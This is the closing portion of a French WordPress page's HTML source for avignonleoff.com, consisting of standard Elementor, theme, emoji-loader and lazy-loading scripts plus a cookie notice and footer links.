var ajax_var = {"url":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"37b0e96540","errorPass":"\u003Cp class=\"message message-error\"\u003EPassword does not match the confirm password\u003C/p\u003E","login":"Email Address","password":"Password","headerstyle":"default"};
//# sourceURL=penci_ajax_like_post-js-extra
</script>
<script id="penci_ajax_like_post-js" src="https://www.avignonleoff.com/wp-content/themes/soledad/js/post-like.js?ver=8.2.1"></script>
<script async data-wp-strategy="async" fetchpriority="low" id="comment-reply-js" src="https://www.avignonleoff.com/wp-includes/js/comment-reply.min.js?ver=7.0.4"></script>
<script id="elementor-webpack-runtime-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=4.2.4"></script>
<script id="elementor-frontend-modules-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=4.2.4"></script>
<script id="jquery-ui-core-js" src="https://www.avignonleoff.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3"></script>
<script id="elementor-frontend-js-before">
var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Partager sur Facebook","shareOnX":"Share on X","pinIt":"L\u2019\u00e9pingler","download":"T\u00e9l\u00e9charger","downloadImage":"T\u00e9l\u00e9charger une image","fullscreen":"Plein \u00e9cran","zoom":"Zoom","share":"Partager","playVideo":"Lire la vid\u00e9o","previous":"Pr\u00e9c\u00e9dent","next":"Suivant","close":"Fermer","a11yCarouselPrevSlideMessage":"Diapositive pr\u00e9c\u00e9dente","a11yCarouselNextSlideMessage":"Diapositive suivante","a11yCarouselFirstSlideMessage":"Ceci est la premi\u00e8re diapositive","a11yCarouselLastSlideMessage":"Ceci est la derni\u00e8re diapositive","a11yCarouselPaginationBulletMessage":"Aller \u00e0 la diapositive"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Portrait mobile","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Paysage","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablette en mode portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablette en mode paysage","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Portable","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"\u00c9cran large","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"4.2.4","is_static":false,"experimentalFeatures":{"additional_custom_breakpoints":true,"e_panel_promotions":true,"theme_builder_v2":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_widget_creation":true,"import-export-customization":true,"e_pro_atomic_form":true,"e_pro_collection_loop":true,"e_pro_variables":true,"e_pro_interactions":true},"urls":{"assets":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/www.avignonleoff.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/www.avignonleoff.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"b93ea73c28","atomicFormsSendForm":"a6d1a0c849"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":17247,"title":"Accueil%20-%20LE%20OFF%20Avignon","excerpt":"","featuredImage":false}};
//# sourceURL=elementor-frontend-js-before
</script>
<script id="elementor-frontend-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=4.2.4"></script>
<script id="jquery-recipe-rateyo-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-recipe/js/jquery.rateyo.min.js?ver=3.3"></script>
<script id="penci_rateyo-js-extra">
var PENCI = {"ajaxUrl":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"37b0e96540"};
//# sourceURL=penci_rateyo-js-extra
</script>
<script id="penci_rateyo-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-recipe/js/rating_recipe.js?ver=3.3"></script>
<script id="penci_portfolio_extra-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-portfolio/js/penci-portfolio.js?ver=1.0"></script>
<script id="elementor-pro-webpack-runtime-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=4.2.3"></script>
<script id="elementor-pro-frontend-js-before">
var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/www.avignonleoff.com\/wp-admin\/admin-ajax.php","nonce":"56d44b8b18","urls":{"assets":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/www.avignonleoff.com\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"fr_FR","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}};
//# sourceURL=elementor-pro-frontend-js-before
</script>
<script id="elementor-pro-frontend-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=4.2.3"></script>
<script id="pro-elements-handlers-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=4.2.3"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.avignonleoff.com/wp-includes/js/wp-emoji-release.min.js?ver=7.0.4"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://www.avignonleoff.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<div class="faketraf-footer-links" style="padding:14px 16px;text-align:center;font-size:14px;line-height:1.7"><a href="https://www.avignonleoff.com/avignonleoff-com/" style="margin:0 10px;text-decoration:none">Avignonleoff.com : guide pratique, accès et informations utiles</a><a href="https://www.avignonleoff.com/avignonleoff-com-contact/" style="margin:0 10px;text-decoration:none">Avignonleoff.com contact : contact, formulaire et informations pratiques</a><a href="https://www.avignonleoff.com/business-avignonleoff-com/" style="margin:0 10px;text-decoration:none">Business avignonleoff.com : guide pratique, accès et informations utiles</a></div>
<!-- Cookie Compliance for WordPress (formerly Compliance by Hu-manity.co) plugin v3.1.10 https://cookie-compliance.co/ -->
<div id="cookie-notice" role="dialog" class="cookie-notice-hidden cookie-revoke-hidden cn-position-bottom" aria-label="Cookie Compliance" style="background-color: rgba(0,0,0,1);"><div class="cookie-notice-container" style="color: #fff"><span id="cn-notice-text" class="cn-text-container">Nous utilisons des cookies pour vous garantir la meilleure expérience sur notre site web. Si vous continuez à utiliser ce site, nous supposerons que vous en êtes satisfait.</span><span id="cn-notice-buttons" class="cn-buttons-container"><button id="cn-accept-cookie" data-cookie-set="accept" class="cn-set-cookie cn-button cn-button-custom button" aria-label="Ok">Ok</button></span><button type="button" id="cn-close-notice" data-cookie-set="accept" class="cn-close-icon" aria-label="Non"></button></div>
</div>
<!-- / Cookie Compliance for WordPress plugin -->
<div class="avignon-footer-exact-link" style="text-align:center;padding:14px 16px 18px;background:#ffffff;font-size:15px;"><a href="https://www.avignonleoff.com/avignonleoff-com/" style="color:#3F51B5;font-weight:700;text-decoration:none;">AvignonleOff.com</a></div>
<script type='text/javascript' id="soledad-pagespeed-header" data-cfasync="false">!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).LazyLoad=t()}(this,(function(){"use strict";function n(){return n=Object.assign||function(n){for(var t=1;t<arguments.length;t++){var e=arguments[t];for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(n[i]=e[i])}return n},n.apply(this,arguments)}var t="undefined"!=typeof window,e=t&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),i=t&&"IntersectionObserver"in window,o=t&&"classList"in document.createElement("p"),a=t&&window.devicePixelRatio>1,r={elements_selector:".lazy",container:e||t?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"loading",class_loaded:"loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},c=function(t){return n({},r,t)},u=function(n,t){var e,i="LazyLoad::Initialized",o=new n(t);try{e=new CustomEvent(i,{detail:{instance:o}})}catch(n){(e=document.createEvent("CustomEvent")).initCustomEvent(i,!1,!1,{instance:o})}window.dispatchEvent(e)},l="src",s="srcset",f="sizes",d="poster",_="llOriginalAttrs",g="loading",v="loaded",b="applied",p="error",h="native",m="data-",E="ll-status",I=function(n,t){return n.getAttribute(m+t)},y=function(n){return I(n,E)},A=function(n,t){return function(n,t,e){var i="data-ll-status";null!==e?n.setAttribute(i,e):n.removeAttribute(i)}(n,0,t)},k=function(n){return A(n,null)},L=function(n){return null===y(n)},w=function(n){return y(n)===h},x=[g,v,b,p],O=function(n,t,e,i){n&&(void 0===i?void 0===e?n(t):n(t,e):n(t,e,i))},N=function(n,t){o?n.classList.add(t):n.className+=(n.className?" ":"")+t},C=function(n,t){o?n.classList.remove(t):n.className=n.className.replace(new RegExp("(^|\\s+)"+t+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")},M=function(n){return n.llTempImage},z=function(n,t){if(t){var e=t._observer;e&&e.unobserve(n)}},R=function(n,t){n&&(n.loadingCount+=t)},T=function(n,t){n&&(n.toLoadCount=t)},G=function(n){for(var t,e=[],i=0;t=n.children[i];i+=1)"SOURCE"===t.tagName&&e.push(t);return e},D=function(n,t){var e=n.parentNode;e&&"PICTURE"===e.tagName&&G(e).forEach(t)},V=function(n,t){G(n).forEach(t)},F=[l],j=[l,d],P=[l,s,f],S=function(n){return!!n[_]},U=function(n){return n[_]},$=function(n){return delete n[_]},q=function(n,t){if(!S(n)){var e={};t.forEach((function(t){e[t]=n.getAttribute(t)})),n[_]=e}},H=function(n,t){if(S(n)){var e=U(n);t.forEach((function(t){!function(n,t,e){e?n.setAttribute(t,e):n.removeAttribute(t)}(n,t,e[t])}))}},B=function(n,t,e){N(n,t.class_loading),A(n,g),e&&(R(e,1),O(t.callback_loading,n,e))},J=function(n,t,e){e&&n.setAttribute(t,e)},K=function(n,t){J(n,f,I(n,t.data_sizes)),J(n,s,I(n,t.data_srcset)),J(n,l,I(n,t.data_src))},Q={IMG:function(n,t){D(n,(function(n){q(n,P),K(n,t)})),q(n,P),K(n,t)},IFRAME:function(n,t){q(n,F),J(n,l,I(n,t.data_src))},VIDEO:function(n,t){V(n,(function(n){q(n,F),J(n,l,I(n,t.data_src))})),q(n,j),J(n,d,I(n,t.data_poster)),J(n,l,I(n,t.data_src)),n.load()}},W=["IMG","IFRAME","VIDEO"],X=function(n,t){!t||function(n){return n.loadingCount>0}(t)||function(n){return n.toLoadCount>0}(t)||O(n.callback_finish,t)},Y=function(n,t,e){n.addEventListener(t,e),n.llEvLisnrs[t]=e},Z=function(n,t,e){n.removeEventListener(t,e)},nn=function(n){return!!n.llEvLisnrs},tn=function(n){if(nn(n)){var t=n.llEvLisnrs;for(var e in t){var i=t[e];Z(n,e,i)}delete n.llEvLisnrs}},en=function(n,t,e){!function(n){delete n.llTempImage}(n),R(e,-1),function(n){n&&(n.toLoadCount-=1)}(e),C(n,t.class_loading),t.unobserve_completed&&z(n,e)},on=function(n,t,e){var i=M(n)||n;nn(i)||function(n,t,e){nn(n)||(n.llEvLisnrs={});var i="VIDEO"===n.tagName?"loadeddata":"load";Y(n,i,t),Y(n,"error",e)}(i,(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_loaded),A(t,v),O(e.callback_loaded,t,i),o||X(e,i)}(0,n,t,e),tn(i)}),(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_error),A(t,p),O(e.callback_error,t,i),o||X(e,i)}(0,n,t,e),tn(i)}))},an=function(n,t,e){!function(n){n.llTempImage=document.createElement("IMG")}(n),on(n,t,e),function(n){S(n)||(n[_]={backgroundImage:n.style.backgroundImage})}(n),function(n,t,e){var i=I(n,t.data_bg),o=I(n,t.data_bg_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage='url("'.concat(r,'")'),M(n).setAttribute(l,r),B(n,t,e))}(n,t,e),function(n,t,e){var i=I(n,t.data_bg_multi),o=I(n,t.data_bg_multi_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage=r,function(n,t,e){N(n,t.class_applied),A(n,b),e&&(t.unobserve_completed&&z(n,t),O(t.callback_applied,n,e))}(n,t,e))}(n,t,e)},rn=function(n,t,e){!function(n){return W.indexOf(n.tagName)>-1}(n)?an(n,t,e):function(n,t,e){on(n,t,e),function(n,t,e){var i=Q[n.tagName];i&&(i(n,t),B(n,t,e))}(n,t,e)}(n,t,e)},cn=function(n){n.removeAttribute(l),n.removeAttribute(s),n.removeAttribute(f)},un=function(n){D(n,(function(n){H(n,P)})),H(n,P)},ln={IMG:un,IFRAME:function(n){H(n,F)},VIDEO:function(n){V(n,(function(n){H(n,F)})),H(n,j),n.load()}},sn=function(n,t){(function(n){var t=ln[n.tagName];t?t(n):function(n){if(S(n)){var t=U(n);n.style.backgroundImage=t.backgroundImage}}(n)})(n),function(n,t){L(n)||w(n)||(C(n,t.class_entered),C(n,t.class_exited),C(n,t.class_applied),C(n,t.class_loading),C(n,t.class_loaded),C(n,t.class_error))}(n,t),k(n),$(n)},fn=["IMG","IFRAME","VIDEO"],dn=function(n){return n.use_native&&"loading"in HTMLImageElement.prototype},_n=function(n,t,e){n.forEach((function(n){return function(n){return n.isIntersecting||n.intersectionRatio>0}(n)?function(n,t,e,i){var o=function(n){return x.indexOf(y(n))>=0}(n);A(n,"entered"),N(n,e.class_entered),C(n,e.class_exited),function(n,t,e){t.unobserve_entered&&z(n,e)}(n,e,i),O(e.callback_enter,n,t,i),o||rn(n,e,i)}(n.target,n,t,e):function(n,t,e,i){L(n)||(N(n,e.class_exited),function(n,t,e,i){e.cancel_on_exit&&function(n){return y(n)===g}(n)&&"IMG"===n.tagName&&(tn(n),function(n){D(n,(function(n){cn(n)})),cn(n)}(n),un(n),C(n,e.class_loading),R(i,-1),k(n),O(e.callback_cancel,n,t,i))}(n,t,e,i),O(e.callback_exit,n,t,i))}(n.target,n,t,e)}))},gn=function(n){return Array.prototype.slice.call(n)},vn=function(n){return n.container.querySelectorAll(n.elements_selector)},bn=function(n){return function(n){return y(n)===p}(n)},pn=function(n,t){return function(n){return gn(n).filter(L)}(n||vn(t))},hn=function(n,e){var o=c(n);this._settings=o,this.loadingCount=0,function(n,t){i&&!dn(n)&&(t._observer=new IntersectionObserver((function(e){_n(e,n,t)}),function(n){return{root:n.container===document?null:n.container,rootMargin:n.thresholds||n.threshold+"px"}}(n)))}(o,this),function(n,e){t&&window.addEventListener("online",(function(){!function(n,t){var e;(e=vn(n),gn(e).filter(bn)).forEach((function(t){C(t,n.class_error),k(t)})),t.update()}(n,e)}))}(o,this),this.update(e)};return hn.prototype={update:function(n){var t,o,a=this._settings,r=pn(n,a);T(this,r.length),!e&&i?dn(a)?function(n,t,e){n.forEach((function(n){-1!==fn.indexOf(n.tagName)&&function(n,t,e){n.setAttribute("loading","lazy"),on(n,t,e),function(n,t){var e=Q[n.tagName];e&&e(n,t)}(n,t),A(n,h)}(n,t,e)})),T(e,0)}(r,a,this):(o=r,function(n){n.disconnect()}(t=this._observer),function(n,t){t.forEach((function(t){n.observe(t)}))}(t,o)):this.loadAll(r)},destroy:function(){this._observer&&this._observer.disconnect(),vn(this._settings).forEach((function(n){$(n)})),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(n){var t=this,e=this._settings;pn(n,e).forEach((function(n){z(n,t),rn(n,e,t)}))},restoreAll:function(){var n=this._settings;vn(n).forEach((function(t){sn(t,n)}))}},hn.load=function(n,t){var e=c(t);rn(n,e)},hn.resetStatus=function(n){k(n)},t&&function(n,t){if(t)if(t.length)for(var e,i=0;e=t[i];i+=1)u(n,e);else u(n,t)}(hn,window.lazyLoadOptions),hn}));
(function () {
var PenciLazy = new LazyLoad({
elements_selector: '.penci-lazy',
data_bg: 'bgset',
class_loading: 'lazyloading',
class_entered: 'lazyloaded',
class_loaded: 'pcloaded',
unobserve_entered: true
});
MutationObserver = window.MutationObserver || window.WebKitMutationObserver;
var observer = new MutationObserver(function(mutations, observer) {
PenciLazy.update();
});
observer.observe(document, {
subtree: true,
attributes: true
});
})();
;</script>
</body>
</html>